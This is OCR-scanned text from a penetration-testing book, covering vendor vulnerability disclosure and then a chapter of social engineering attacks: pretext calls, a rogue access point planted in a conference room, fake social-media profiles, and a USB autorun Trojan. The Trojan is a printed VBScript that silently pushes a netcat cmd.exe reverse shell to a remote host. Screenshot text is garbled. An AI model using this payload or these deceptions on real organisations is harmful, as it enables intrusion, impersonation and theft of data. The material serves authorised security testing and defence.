team discovered, incompatibility issues often made this task more difficult than it ap-
peared. For example, if the sides agree to use encrypted e-mail exchange, they must
ensure they are using similar protocols. If different protocols are in place, the chances
of the receiver simply dropping the task greatly increase.

Knowledge Barrier There can be a huge difference in technical expertise between
a receiver (vendor )and a reporter (finder), making communication all the more diffi-
cult. Vendors can't always understand what finders are trying to explain, and finders can
become easily confused when vendors ask for more clarification. The tiger team case
study found that the collection of vulnerability data can be quite challenging due to
this major difference. Using specialized teams with specific areas of expertise is strong-
ly recommended. For example, the vendor could appoint a customer advocate to inter-
act directly with the finder. This party would be the middleman between engineers and
the customer/finder.

Patch Failures The tiger team case also pointed out some common factors that
contribute to patch failures in the software vulnerability process, such as incompatible
platforms, revisions, regression testing, resource availability, and feature changes.

Additionally, researchers discovered that, generally speaking, the lowest level of
vendor security professionals work in maintenance positions—and this is usually the
group who handles vulnerability reports from finders. The case study concluded that a
lower quality patch would be expected if this is the case.

Vulnerability Remains After Fixes Are in Place
Many systems remain vulnerable long after a patch/fix is released. This happens for
several reasons. The customer is currently and continually overwhelmed with the num-
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ber of patches, fixes, updates, versions, and security alerts released each and every day.
This is the motivation behind new product lines and processes being developed in the
security industry to deal with “patch management.” Another issue is that many of the
previously released patches broke something else or introduced new vulnerabilities
into the environment. So although we can shake our fists at network and security ad-
ministrators who don't always apply released fixes, keep in mind the task is usually
much more difficult than it sounds.

Vendors Paying More Attention

Vendors are expected to provide foolproof, mistake-free software that works all the
time. When bugs do arise, they are expected to release fixes almost immediately. It is
truly a double-edged sword. However, the common practice of “penetrate and patch”
has drawn criticism from the security community as vendors simply release multiple
temporary fixes to appease users and keep their reputations intact. Security experts ar-
gue that this ad-hoc methodology does not exhibit solid engineering practices. Most
security flaws occur early in the application design process. Good applications and bad
applications are differentiated by six key factors:

e Authentication and authorization The best applications ensure that
authentication and authorization steps are complete and cannot be
circumvented.

e Mistrust of user input Users should be treated as “hostile agents” as data
is verified on the server side and strings are stripped of tags to prevent buffer
overflows.

¢ End-to-end session encryption Entire sessions should be encrypted, not
just portions of activity that contain sensitive information. In addition, secure
applications should have short timeout periods that require users to re-
authenticate after periods of inactivity.

e Safe data handling Secure applications will also ensure data is safe while
the system is in an inactive state. For example, passwords should remain
encrypted while being stored in databases and secure data segregation should
be implemented. Improper implementation of cryptography components
have commonly opened many doors for unauthorized access to sensitive data.

¢ Eliminating misconfigurations, backdoors, and default settings A
common but insecure practice for many software vendors is to ship software
with backdoors, utilities, and administrative features that help the receiving
administrator learn and implement the product. The problem is that these
enhancements usually contain serious security flaws. These items should
always be disabled and require that the customer enable them, and all
backdoors should be properly extracted from source code.

e Security quality assurance Security should be a core discipline when
designing the product, during specification and development phases, and
during testing phases. Vendors who create security quality assurance teams
(SQA) to manage all security-related issues are practicing due diligence.
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So What Should We Do from Here on Out?

We can do several things to help improve the security situation, but everyone involved
must be more proactive, better educated, and more motivated. The following are some
items that should be followed if we really want to make our environments more secure:

e Actup Itisjust as much the consumers’ responsibility, as it is the
developers’, to ensure a secure environment. Users should actively seek
out documentation on security features and ask for testing results from
the vendor. Many security breaches happen because of improper customer
configurations.

¢ Educate application developers Highly trained developers create more
secure products. Vendors should make a conscious effort to train their
employees in the area of security.

® Access early and often Security should be incorporated into the design
process from the early stages and tested often. Vendors should consider
hiring security consulting firms to offer advice on how to implement security
practices into the overall design, testing, and implementation processes.

¢ Engage finance and audit Getting the proper financing to address security
concerns is critical in the success of a new software product. Engaging budget
committees and senior management at an early stage is critical.

iDefense and ZDI

iDefense is an organization dedicated to identifying and mitigating software vulnera-
bilities. Founded in August 2002, iDefense started to employ researchers and engineers
to uncover potentially dangerous security flaws that exist in commonly used computer
applications throughout the world. The organization uses lab environments to re-create
vulnerabilities and then works directly with the vendors to provide a reasonable solu-
tion. iDefense’s Vulnerability Contributor Program (VCP) has pinpointed more than
10,000 vulnerabilities, of which about 650 were exclusively found by iDefense, within
a long list of applications. They pay researchers up to $15,000 per vulnerability as part
of their main program.

The Zero-Day Initiative (ZDI) has joined iDefense in the vulnerability reporting
and compensation arena. ZDI, founded by the same people who founded iDefense’s
VCP, claims 1,179 researchers and more than 2,000 cases have been created since their
August 2005 launch.

ZDI1 offers a web portal for researchers to report and track vulnerabilities. They per-
form identity checks on researchers who report vulnerabilities, including checking that
the researcher isn't on any government “do not do business with” lists. ZDI then vali-
dates the bug in a security lab before offering the researcher a payment and contacting
the vendor. ZDI also maintains its Intrusion Prevention Systems (IPS) program to write
filters for whatever customer areas are affected by the vulnerability. The filter descrip-
tions are designed to protect customers, but remain vague enough to keep details of the
unpatched flaw secret. ZDI works with the vendor on notifying the public when the
patch is ready, giving the researcher credit if he or she requests it.
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These global security companies have drawn skepticism from the industry, however,
as many question whether it is appropriate to profit by searching for flaws in others’
work. The biggest fear here is that the practice could lead to unethical behavior and,
potentially, legal complications. In other words, if a company’s sole purpose is to iden-
tify flaws in software applications, wouldn't the goal be to find more and more flaws
over time, even if the flaws are less relevant to security issues? The question also re-
volves around the idea of extortion. Researchers may get paid by the bugs they find—
much like the commission a salesman makes per sale. Critics worry that researchers will
begin going to the vendors demanding money unless they want their vulnerability dis-
closed to the public—a practice referred to as a “finder’s fee.” Many believe that bug
hunters should be employed by the software companies or work on a voluntary basis
to avoid this profiteering mentality. Furthermore, skeptics feel that researchers discover-
ing flaws should, at a minimum, receive personal recognition for their findings. They
believe bug finding should be considered an act of good will and not a profitable en-
deavor.

Bug hunters counter these issues by insisting that they believe in full disclosure
policies and that any acts of extortion are discouraged. In addition, they are often paid
for their work and do not work on a bug commission plan as some skeptics have al-
luded to. So, as you can see, there is no lack of controversy or debate pertaining to any
aspect of vulnerability disclosure practices.
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(CHAPTER N |
Social Engineering Attacks

Social engineering is a way to get someone to do something they wouldn’t normally do
for you, such as give you a private telephone number or internal confidential informa-
tion, by creating a false trust relationship with them. It's no different from a common
confidence game, also known as a “con,” played by criminals the world over every day.
You could even go as far as to say that the Greek’s Trojan horse was an early act of social
engineering. That it successfully put the Greek army inside the city of Troy in mere
hours after ten years of siege had failed is worth noting. The Greeks were able to deci-
sively defeat the Trojans in one evening once inside the city wall, a theme often re-
peated on the digital battlefield today.

In this chapter, we're going to talk about social engineering in the context of modern
information security practice. You're going to learn how to perform social engineering
so that you are better prepared to defend against it. Like so many techniques in this
book, the only thing that separates the gray hat hacker from a common criminal is
ethical behavior. This is especially true for social engineering, as it is arguably one of the
most powerful ways to gain access to your target’s information assets.

In this chapter, we cover the following topics:

e How a social engineering attack works

¢ Conducting a social engineering attack

e Common attacks used in penetration testing
e Preparing yourself for face-to-face attacks

e Defending against social engineering attacks

How a Social Engineering Attack Works

Social engineering attacks cover a wide range of activities. Phishing, for instance, is a
social engineering attack (SEA). The victim receives a legitimate-looking e-mail, follows
a link to a legitimate-looking website they're familiar with, and often divulges sensitive
information to a malicious third party. As end users are made aware of such activities,
the attacks generally must become more sophisticated in order to remain effective. Re-
cently, attacks of this nature have become narrowly targeted at specific companies, of-
ten mimicking internal system logins and targeting only individuals working at the
subject company. It's an electronic numbers game conducted from afar, and the reason
it is so common is that it works!

11
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At the heart of every SEA is a human emotion, without which the attacks will not
work. Emotion is what derails security policy and practices, by leading the human user
to make an exception to the rules for what they believe is a good reason. Commonly
exploited simple emotions, and an example of how each is exploited, include:

e Greed A promise you'll get something very valuable if you do this one thing
e Lust An offer to look at a sexy picture you just have to see

e Empathy An appeal for help from someone impersonating someone you
know

e Curiosity Notice of something you just have to know, read, or see

e Vanity Isn't this a great picture of you?

These emotions are frequently used to get a computer user to perform a seemingly
innocuous action, such as logging into an online account or following an Internet URL
from an e-mail or instant messaging client. The actual action is one of installing mali-
cious software on their computer or divulging sensitive information.

Of course, there are more complex emotions exploited by more sophisticated social
engineers. While sending someone an instant message with a link that says “I love this
photo of you” is a straightforward appeal to their vanity, getting a secretary to fax you
an internal contact list or a tech support agent to reset a password for you is quite a dif-
ferent matter. Attacks of this nature generally attempt to exploit more complex aspects
of human behavior, such as

e A desire to be helpful “If you're not busy, would you please copy this file
from this CD to this USB flash drive for me?” Most of us are taught from
an early age to be friendly and helpful. We take this attitude with us to the
workplace.

¢ Authority/conflict avoidance “If you don't let me use the conference room
to e-mail this report to Mr. Smith, it'll cost the company a lot of money and
you your job.” If the social engineer looks authoritative and unapproachable,
the target usually takes the easy way out by doing what's asked of them and
avoiding a conflict.

e Social proof “Hey look, my company has a Facebook group and a lot
of people I know have joined.” If others are doing it, people feel more
comfortable doing something they wouldn’t normally do alone.

No matter what emotional button the attacker is attempting to push, the premise is
always the same: the intended victim will not sense the risk of their action or guess the
real intentions of the attacker until it’s too late or, in many cases, not at all. Because the
intended victims in these cases most often are working on computers inside of the tar-
get company network, getting them to run a remote access program or otherwise grant
you remote access directly or indirectly can be the fast track to obtaining targeted sensi-
tive data during a penetration test.
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Conducting a Social Engineering Attack

It is important to discuss with your client your intention to conduct social engineering
attacks, whether internal or external, before you include them in a penetration test’s
project scope. A planned SEA could be traumatic to employees of the target company if
they are made aware of the findings in an uncontrolled way, because they might feel
just as victimized as they would if subjected to a real attack. If you are caught during
this activity, you most likely will not be treated as if you're “on the same team” by the
intended victim. Often, the victim feels as if they've been made a fool of.

The client should be made aware of the risks associated with contracting a third
party who plans to overtly lie to and manipulate company employees to do things that
are clearly against the rules. That said, most companies do accept the risk and see the
value of the exercise. Secrecy must also be stressed and agreed upon with the client
prior to engaging in a covert exercise like this. If the employees know that there will be
a test of any kind, they will of course act differently. This will prevent the penetration
testing team from truly learning anything about the subject organization’s true security
posture.

Like all penetration testing, an SEA begins with footprinting activity and reconnais-
sance. The more information you collect about the target organization, the more op-
tions become available to you. It's not uncommon to start with zero knowledge and use
information gained through open sources to mount a simple SEA—get the company
phone directory, for instance—and then use the new knowledge to mount increasingly
targeted and sophisticated SEAs based on the newly gained insight into the company.

While dumpster diving is a classic example of a zero knowledge starting point for
finding information about a target, there are more convenient alternatives. Google is
probably the most effective way to start finding names, job titles, contact information,
and more. Once you have a list of names, start combing through social media sites such
as Facebook, LinkedIn, MySpace, and Twitter. Finding employees with accounts on
popular social media sites is a common practice among social engineers. Often, those
employees will be connected to other people they work with and so on. Depending on
their security settings, their entire network of connections may be visible to you, and
you may be able to identify coworkers easily.

In the case of business networking sites like LinkedIn, the information collection is
made even easier for you because you can search by company name to find past and
present employees of your target. On any social networking site, you may also find a
group for current and ex-employees of a company. Industry-specific blog and board sites
can also yield useful information about internal employee issues currently being dis-
cussed. Often these posts take the form of anonymous gripes, but they can be useful for
demonstrating insider knowledge when striking up a conversation with your target.

Using such passive methods to collect as much information about a company as
possible is a great place to start formulating your attack. We'll cover some useful ways
to use social media in an actual attack scenario later in this chapter.

Social engineering is most successful as a team effort due to the wide variety of cir-
cumstances and opportunities that may arise. At the very least, two people will be needed

19
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for some of the examples detailed later in this chapter. While natural charisma is a
prized resource, a practiced phone voice and the ability to discuss convincingly a wide
variety of not necessarily technical social topics will get you pretty far down the road.
The ability to write convincingly also is important, as is your physical appearance
should you perform face-to-face attacks or impersonations. As all of these activities are
designed to gain unauthorized access to data assets, you must also possess the hacking
skills described in this book, or at least be intimately familiar with what is possible in
order to help your team get into position on the network to use them.

A good place to start your reconnaissance after researching the company online is
to begin targeting people of interest internally in an attempt to build a picture of who
is who and, if possible, develop rapport with potential sources. Key personnel might
include the CIO, CSO, Director of IT, CFO, Director of HR, VPs, and Directors of any
sort. All of these individuals will have voicemail, e-mail, secretaries, and so forth. Know-
ing who works in which offices, who their personal assistants are, and when they're
traveling or on vacation might not seem worthwhile, but it is. Let's say the goal is to
obtain the internal employee directory. By knowing when someone is out of the office,
you can call their assistant and claim that you are a consultant working with their boss
and that you need the company directory printed out and faxed to you at another loca-
tion within the company. Since the assistant will be faxing internally, they won't see any
risk. At this point, they may even ask you if they can e-mail the directory to you, in
which case your SEA is a success, but let’s assume they don't ask and fax the directory to
the other office you claim to be working in. You can then call that office, give the story
again, and ask that the fax be sent to you at home. You then give them a public fax
number and retrieve your fax.

This is a prime example of escalation of trust. The first victim felt no risk in sending
something internally. The second victim felt comfortable with the pretext because you
demonstrated knowledge of internal operations, and they don't see any harm in pass-
ing along a directory. With the directory in hand, you can now use caller ID spoofing
services such as Bluff My Call to appear to be calling from inside the company. The next
move is up to you! If the company is like most companies, its network user IDs aren't
hard to figure out, or maybe you've already figured out that format from the IT guy you
tried to sell an identity management product to on the phone or over a game of pool at
the bar you know he goes to from his overly permissive Facebook page. You can now
call tech support from inside and have a vacationing VP of HR's password reset so you
can use the virtual private network (VPN) remotely.

Planning an attack takes time, practice, and, above all, patience. Since you're the
attacker, you're limited only by your imagination. Your success or failure will depend
on your team’s ability to read the people who work at the target organization and de-
vise an attack or series of escalating attacks that is effective against them. Keep in mind
that it's a game of capture the flag, and your goal is to access sensitive data to demon-
strate to your client how it can be done. Sometimes the goal is obtained without any
traditional technical hacking, by using legitimate access methods and stolen or errone-
ously granted credentials. In other cases, a stolen backup tape will yield everything you
need. In most cases, however, it is the combined effort of getting the team hacker(s) in
position or delivering the desired remote access payload behind the network border
controls.
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As your attacks become more sophisticated, you may also be required to set up
phony websites, e-mail addresses, and phone numbers in order to appear to be a le-
gitimate company. Thanks to the proliferation of web-based micro businesses and pay-
as-you-go mobile phones, this is now as inexpensive as it is trivial. You may also be
required to meet face to face with the intended victim for certain types of attacks. We'll
talk about these subjects in more detail in the following sections.

Reference
Bluff My Call www.bluffmycall.com

Common Attacks Used in Penetration Testing

In this section, we're going to discuss a few formulaic SEAs that are commonly used in
everyday penetration testing. It is important to keep in mind that these attacks may not
work every time or work on your specific target, as each environment is different. In
fact, the conditions required for any attack to succeed often need to be just right; what
didn’t work today may well work tomorrow, and vice versa. The examples in the previ-
ous section are hypothetical and primarily designed to help you start thinking like a
social engineer, to give you examples of possible starting points. In the following ex-
amples, we'll cover a few attacks that have been repeatedly performed with success. As
these attacks are part of a larger penetration test, we'll only cover the social engineering
portion of the attack. Often the SEA is one step removed from, and immediately pre-
ceding, physical access, which is covered in Chapter 5.

The Good Samaritan

The goal of this attack is to gain remote access to a computer on the company network.

This attack combines SEA techniques with traditional hacking tools. The basic
premise is that a specially prepared USB drive is presented to the target company’s front
desk or most publicly accessible reception area. A very honest-looking person in ap-
propriate attire—a business suit if it's an office, for example—hands the employee at
the front desk the USB drive, claiming to have found it on the ground outside. The pre-
text will change with the specific circumstances; for instance, if the office is one floor in
a high rise, you might say you found the USB drive in the elevator, or if it's a secured
campus, you may dress like a landscaper and say you found it on the campus grounds.
The USB drive should look used, have the company name on it, and be labeled with,
for example, “HR Benefits” and the current year. What you write on the label of the key
is up to you. You're trying to bait an employee to plug it into a computer, something
they may know they shouldn’t do, so the reward must seem greater than the risk of vio-
lating policy. It should whisper “interesting” but not be too obvious. For instance, “Cost
Cuts 2010” is a good label, but “Nude Beach” probably isn't. When the USB drive is
plugged in, it attempts to install and run a remote access Trojan and pass a command
prompt out to your team across the public Internet. Obviously, what you have the key
run is completely up to you. In this example, we'll focus on a very simple remote com-
mand prompt.
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Putting this attack together is fairly academic insofar as the main work is in the
preparation of the USB drive. The delivery is trivial and can be attempted multiple
times and at multiple target locations. For this attack to work, the target environment
must allow the use of USB drives and must have autorun enabled. Despite the fact that
these two vulnerabilities are widely known and it is considered a best practice to dis-
able or at least actively manage both, this attack is still remarkably effective. Preparing
the USB drive to autorun your payload is a fairly straightforward process as well. For
this example, you'll need

e A USB drive; in this example, we'll use an inexpensive SanDisk Cruzer Micro
drive.

® A tool to edit an ISO image file; in this example, we'll use ISO Commander.

¢ A tool from the manufacturer to write the new ISO image to the drive; in this
example, we'll use the SanDisk U3 Launchpad, LPInstaller.exe.

e A remote access Trojan; in this example, we'll simply use a Windows version
of netcat.

There are prepackaged kits, such as USB Switchblade and USB Hacksaw, that do a
lot of the work for you, but they're also widely known by antivirus companies. To re-
duce the risk of being detected, it’s better to make your own routine.

In this example, we're going to use a 1GB SanDisk Cruzer Micro with U3 model.
Start by downloading the Launchpad Installer application, LPInstaller.exe, from the
SanDisk website. You'll find it under the Support section by using the Find Answers
search box. This application will download the default U3 ISO image from the SanDisk
website and install it on the flash drive. We're going to trick it into installing an ISO
image we've modified so that when the USB drive is plugged into the target machine, it
runs code we specify in addition to the U3 Launchpad application.

Once you have the LPInstaller.exe application downloaded, execute it. If you have
a personal firewall that operates with a white list, you may have to allow the applica-
tion access to the Internet. You
must be connected to the Inter-
net in order for the application

Ru3 Launchpad Installar, El

Lontum Installation Uphions
Werify your chnices hefare installation heging

to download the default ISO ]
image from SanDisk. After the You have chosen the following opions:

application runs, it will require @ D ot hacki esisting daba Alldta will be deshogedd

you to plug in a compatible de- # Install U3 Launchpad on D:\

vice before it will allow you to
continue. Once it recognizes a
compatible device, you can click
Next until you get to the final Chck “Back i you wor 1o chenge e oplins,
screen before it writes the image Tocerkine, Chek ent

to the flash drive. It should look
like this:

Total Estmated Time: 1 minute & seconds
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The moment the LPInstaller.exe application detected a compatible flash drive, it began
downloading the default U3 ISO image from the SanDisk website. This image is tempo-
rarily stored on the user PC in the Application Data section of the current user’s Docu-
ments and Setting directory in a folder called U3. The U3 folder has a temp folder that
contains a unique session folder containing the downloaded ISO file, as shown here:

8% C:\Documents and Settings\MartiniApplication DatadU3ktempi4b2f05e 7dl E|@1®
i

ble kdt  wew Favontes  lools  Help I

»

- Address  Links

PelicanBFG-autorun iso
YINZIp Fila
7,036 KB

@ Back - = .? /F\J search 1‘_' Friddrrs

Folders £2
# | 2) Thunderbird fad
# () thunderbed_old
o 5 Tor
# |5) Track Systems

[ TrueCrypt
S Dus
] Lj 4320230CB3C20E9E
= () temp
[&]+Lor5507ul
l"ﬁ uTorrant

(P24 1R lim —

< >
1 objects (Disk free space: 172 GB) 6.87 MB i My Compuker

You must wait until the ISO image completely downloads before you can edit it. In
this case, it's rather small, finishing up at just over 7MB. Once it's completely down-
loaded, we'll use an ISO editing utility to add our own files to the ISO image before we
allow the LPInstaller application to save it to the flash drive. In this example, we'll use
a simple ISO editing tool called ISO Commander, a copy of which can be freely down-
loaded from the location specified at the end of this section. Open ISO Commander,
navigate to the U3 data directory, and select the downloaded ISO file, which is Pelican-
BFG-autorun.iso in this case. Since we'll need to install our own version of autorun.inf,
it's convenient to simply extract and modify the autorun.inf file that came with the ISO
image. Simply right-click the autorun.inf file and select Extract, as shown next, and then
save it to another location for editing.

:{-:. PelicanBE-autorun.iso - IS0 Commander

Fle Ackion Boot Info ‘Miew Help
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I e o 300 bytes | Setup Information 10.09.2000 15:44
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e 58 Add files... A+ 1.30ME  Applcation 23.09.2000 11:55
“ Create folder
i Rename F2
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Extracting the default autorun.inf file is simple and contains only a few directives.
In this example, we will replace the executable call with a script of our own. Our script
will perform an attack using netcat to push a command shell to a remote computer,
and then execute the originally specified program, LaunchU3.exe, so that the user won't
notice any abnormal behavior when they plug the USB drive in. The unedited autorun.
inf file is as follows:

[AutoRun]

open=wscript LaunchU3.exe -a
icon=LaunchU3.exe, 0
action=Run U3 Launchpad
[Definitions]
Launchpad=LaunchPad.exe
Vtype=2

[CopyFiles]

FileNumber=1
Filel=LaunchPad.zip

[Update]
URL=http://u3.sandisk.com/download/lp installer.asp?custom=1.6.1.2&brand=PelicanBFG
[Comment]

brand=PelicanBFG

For our purposes, we'll only edit the second line of this file and change it from
open=wscript LaunchU3.exe -a
to
open=wscript cruzer/go.vbs

When the autorun.inf file is executed on insertion of the device, our go.vbs script
will run instead of the LaunchU3.exe application. We'll put it in a directory called cru-
zer along with the netcat binary nc.exe in an attempt to make it slightly less noticeable
at a casual glance. Next we need to create our go.vbs script. Since we're just demonstrat-
ing the technique, we'll keep it very simple, as shown next. The script will copy the
netcat binary to the Windows temp directory and then execute the netcat command
with options to bind a cmd.exe command shell and pass it to a remote computer.

'This prevents the script from throwing errors in the event it has trouble
On Error Resume Next
set objShell = WScript.CreateObject ("WScript.Shell")
'Get the location of the temp directory
temp=objShell.ExpandEnvironmentStrings ("%temp%")
'Get the location of the Windows Directory
windir=objShell.ExpandEnvironmentStrings ("%windirs")
set filesys=CreateObject ("Scripting.FileSystemObject")
'Copy our netcat into the temp directory of the target
filesys.CopyFile "cruzer\nc.exe", temp & "\"
'Wait to make sure the operation completes
WScript.Sleep 5000
'Throw a command prompt to the waiting remote computer, a local test in this case.
'The 0 at the end of the line specifies that the command box NOT be displayed to
'the user.
objShell.Run temp & "\nc.exe -e " & windir & "\system32\cmd.exe 192.168.1.106
443", 0
'Execute the application originally specified in the autorun.inf file
objShell.Run "LaunchU3.exe -a"
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The preceding script is documented step by step in the comments. VBScript is used
as opposed to batch files because it gives more control over what the user sees on the
screen. This example is configured to run silently even if it encounters multiple errors
and cannot continue. It uses Windows environment variables to determine where the
Windows directory is so that it can easily find the command shell binary cmd.exe on
multiple versions of Windows. It uses the same technique to determine the default
Window temp directory.

Now that we have our autorun.inf file modified and our go.vbs script written, it's
time to put them into the ISO file the LPInstaller application is about to write to the
flash drive. Using the ISO Commander application with the LPInstaller ISO file still
open, drag and drop the edited autorun.inf file into the root of the image file system.
Then, using either a right-click, the toolbar, or pull-down menus, create a new folder
named cruzer. In ISO Commander, each method creates a folder titled New Folder,
which must be renamed. Drag and drop the go.vbs and nc.exe files into the cruzer di-
rectory, save your changes, and exit ISO Commander before continuing.

Continue by clicking the Next button on the LPInstaller application, and the edited
ISO image will be written to the flash drive. In the preceding example, an IP address is
specified in the local network for testing purposes. From the command prompt on the
machine that will receive the command shell from the target machine, instruct netcat
to listen on TCP port 443 as follows:

C:\nc -1 -p 443

Port 443 is a common port to use as it is difficult to proxy and monitor, as the legiti-
mate traffic that would typically flow over it is encrypted. If everything works, you will
receive a command prompt with the drive letter that the U3 file system was assigned by
the target machine when it was inserted, as shown here:

. Command Prompt - nc -1 -p 443

C:v>ne -1 —p 443
Microsoft Windows XP [Uersion 5.1.26881]
(G>» Copyright 1985-20P01 Microsoft Corp. T

Uolume in drive D is U3 System
Uolume Serial Numbher is CBC1-1753

Directory of D:s

?-23-,2807 @A7:55 AM 1,373,488 LaunchlU3.exe
9,23-2007 12:48 PH 5,776,487 Launchpad.zip
3,802,201 @4:58 PM <DIR> Ccruzer
3-82-2018 @5:80 PM 31?9 autorun.inf
3 Fileds> 7,158,286 hytes
1 Dirdsd RB hytes free
1 ER

- |

This example used very simple tools to create a remote access Trojan. In reality, the
attack contained on the USB drive can be vastly more complex and stealthy. Once you
are comfortable making and writing your own ISO images to the flash drive, you can
experiment with more complex payloads. It's even possible to create a Trojan execut-
able to replace the LaunchU3.exe application in the event the user has autorun turned
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off but still wants to use the U3 features. Alternatively, you can place on the USB device
a document file with an appealing name that contains an exploit, in an attempt to en-
tice the target to open it. As with most gray hat attacks, this one is limited only by your
imagination.

The Meeting

The goal of this attack is to place an unauthorized wireless access point (WAP) on the
corporate network.

This attack requires face-to-face contact with the target. A pretext for a meeting is
required, such as a desire to purchase goods or services on a level that requires a face-
to-face meeting. Set the meeting time for just after lunch and arrive about 30 to 45
minutes before your meeting, with the goal of catching your victim away at lunch. Ex-
plain to the receptionist that you have a meeting scheduled after lunch but were in the
area on other business and decided to come early. Ask whether it is okay to wait for the
person to return from lunch. Have an accomplice phone you shortly after you enter the
building, act slightly flustered after you answer your phone, and ask the receptionist if
there is some place you can take your call privately. Most likely you'll be offered a con-
ference room. Once inside the conference room, close the door, find a wall jack, and
install your wireless access point. Have some Velcro or double-sided sticky tape handy
to secure it out of view (behind a piece of furniture, for instance) and a good length of
cable to wire it into the network. If you have time, you may also want to clone the MAC
address of a computer in the room and then wire that computer into your access point
in the event they're using port-level access control. This ruse should provide enough
time to set up the access point. Be prepared to stay in the room until you receive con-
firmation from your team that the access point is working and they have access to the
network. Once you receive notification that they have access, inform the receptionist
that an emergency has arisen and that you'll call to reschedule your appointment.

The beauty of this attack is that it is often successful and usually only exposes one
team member to a single target employee, a receptionist in most cases. It's low tech and
inexpensive as well.

In our example, we're going to use a Linksys Wireless Access Point and configure it
for MAC cloning. For this example, you'll need

e A Linksys Wireless Access Point
e Double-sided Velcro tape or sticky tape
e A 12-inch or longer CAT5 patch cable

Have the WAP ready with double-sided tape already stuck to the desired mounting
surface. You'll want to be prepared for unexpected configuration problems such as a
long distance between the network wall jack or power outlet and a suitable hiding
place. A few simple tools such as a screwdriver, utility knife, and duct tape will help you
deal with unexpected challenges. It's also wise to have any adapters you may need. De-
pending on which area of the country you're working in, some older buildings may not
have grounded outlets, in which case you'll need an adaptor. In addition to physical
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tools, you'll want to bring along a flash drive and a bootable Linux Live CD or bootable
flash drive loaded with Knoppix or Ubuntu in case there is a computer in the confer-
ence room (there usually is).

Once you're inside the conference room with the door closed, determine if there is
a computer in the room. If there is, unplug its network cable and attempt to boot it
from the CD or a flash drive. If you're successful, plug it into the wireless router and
allow it to receive an IP from the DHCP controller. Using the browser from the Linux
Live CD, go to the WAP IP address—typically this is 192.168.1.1 by default for most
configurations. In our example, we'll use a Linksys Wireless-G Broadband Router. From
the Setup tab, select Mac Address Clone and enable it, as shown next. Most WAPs give
you the option to automatically determine the MAC address of the machine you're cur-
rently connecting from.

LINKSYS®

A Division of Cisco Systems, Inc. Firmuare *

Wireless-.G Broadband Router WRTS4GL

S Et ] p Access

Setup Wireless Security Restrictions

tup

@ Enable () Dizable
User Defined Crtry: E: : ool
Clone Your PC's MAC

Cisco SysTeEMs

Save Setings [ Cancel Changes

Once set, save your settings. If the WAP you're using does not offer an option to
automatically determine the MAC address, simply run ifconfig from the Linux com-
mand prompt and the MAC address of each interface on the system will be displayed.
If you're working from Windows, ipconfig /all will display a similar list. In either case,
you'll have to determine the active interface and manually enter the MAC address dis-
played into the dialog box.

Once the MAC is cloned, plug the WAP into the wall network jack the PC used to be
in so that the WAP is in between the PC and the network wall jack. To the network it
appeatrs as if the computer is still connected to the network. Some infrastructures have
network port-level security and will notice a new MAC address. By using MAC cloning,
you are less likely to be noticed initially connecting to the network, but because you've
put the conference room computer behind a NAT router, you may have limited access
to it from the local network, which could lead to eventual discovery.

Next, have a member of your team confirm that the WAP can be connected to from
outside the building and that the corporate network is visible. While you still have the
conference room PC booted from the Linux Live CD, grab a copy of the SAM file for
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later cracking, as described in Chapter 8. If all goes well, you now have access to the
internal network from nearby, so tell the receptionist you'll call to reschedule your ap-
pointment and leave. If your team cannot get onto the internal network, take every-
thing with you. It's not going to suddenly start working, and leaving anything behind
could lead to being prematurely discovered.

Join the Company

In this attack, we'll use social media to attract employees of the target company to join
our social networking group. The goal of the attack is to learn enough about the em-
ployees of the target company to successfully impersonate one well enough to gain
physical access.

As mentioned earlier in the chapter, employees of a specific company are often eas-
ily identified on business social networking sites like LinkedIn. By searching and find-
ing employees of the target company, it may be possible to get them to associate with
you on the site. One simple way to do that is to create a fake profile claiming to work
at the same company and then send invitations to every user you can find that cur-
rently works or formerly worked at the target company. It may be slow going at first, but
once a few of them accept your invitation, perhaps out of a desire to increase the num-
ber of their own connections, it will legitimize you to others in the organization. Once
connected to them, you can follow their posts and gain access to more details about
them, including what specifically they do and who they're associated with. You can
now also communicate directly with them through the site’s messaging system. An-
other way to associate with a group of employees is to create a group for the target
company and send invitations to people you've identified as employees. The more peo-
ple that join, the faster other people will join. Soon you will have access to quite a few
employees as well as know who they associate with.

Once you have a large enough group and enough information about associations,
you will have multiple opportunities at your disposal. We'll focus on just one: imper-
sonating someone. To start with, you should learn which employees work at which fa-
cilities. Extensions, direct dial phone numbers, and mobile numbers can be a big help
in this case as well. If possible, you'll want to select someone that is away from the of-
fice, perhaps even on vacation. On a social media site, it’s not hard to get people to talk
about such things; you can just ask, or even start a topic thread on, where people are
planning to vacation. Most people are more than happy to talk about it. If possible,
target someone who looks similar to the person on your team you'll be sending into
the company.

A good pretext for getting into the company is that you're traveling, some urgent
business has come up, and you need temporary access to do some work because the
files you need are not accessible from outside the company network. Another possible
pretext is that you're going to be in the area on a specific date and would like to stop in
to do some work for a few hours. This is an especially powerful pretext if you use a
spoofed caller ID to call in the request from your “boss” to security for access. In one
recent case reported by a penetration tester, corporate security issued temporary access
credentials based on a similar pretext and fake ID badge. Creating a fake ID badge will
be covered in greater detail in Chapter 5.
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This attack requires nothing but knowledge of social media sites and some time to
get to know the people you connect with at your target company. By selecting a subject
who you know is away from the office, you can create a window of opportunity to im-
personate them in their absence—usually more than enough time to achieve your ob-
jective once you have physical access to the data network. By being knowledgeable and
conversant in company matters with the information you've collected from your social
media assets, you can easily build rapport and trust with the employees at the target
company online and in person while onsite.

As this is a straightforward information-gathering attack on a company, we'll use
LinkedIn as an example. LinkedIn allows a user to search by company name. Any Linked-
In user who currently or formerly worked at the target and associated themselves with
the company name in their profile will be listed in the search results. We can then nar-
row the search by country, state, or region to more narrowly target individuals who
work at the division or facility we're interested in. Once we've created a list of targets,
we can search for the same individuals using other social media sites—Facebook, for
example. Infiltrating multiple social networks and targeting individuals working for or
associated with the target company will yield a lot of valuable intelligence. Using this
information with the scenarios described in this section can provide the social engineer
with ample attack opportunities.

References

ISO Commander www.isocommander.com

Knoppix www.knoppix.com

U3 Launchpad Installer http://mp3support.sandisk.com/downloads/
LPInstaller.exe

Ubuntu www.ubuntu.com

Windows Netcat www.securityfocus.com/tools/139

Preparing Yourself for Face-to-Face Attacks

It's one thing to send an e-mail to or chat with someone online during a SEA, but it’s
quite another to meet face to face with them, or even speak to them on the phone for
that matter. When working online, you can make your attempt and then sit back and
see if you get a result. When you're face to face, you never know what the other person
is going to say, so you simply must be prepared for anything, including the worst. In
order to successfully mount a face-to-face SEA, you must not only look the part you're
playing, but also appear as comfortable as you would if you were having a relaxed con-
versation with a friend. Ideally you want your attitude to put people at ease. This is
easier said than done; walking across a wooden plank is easy when it’s on the ground,
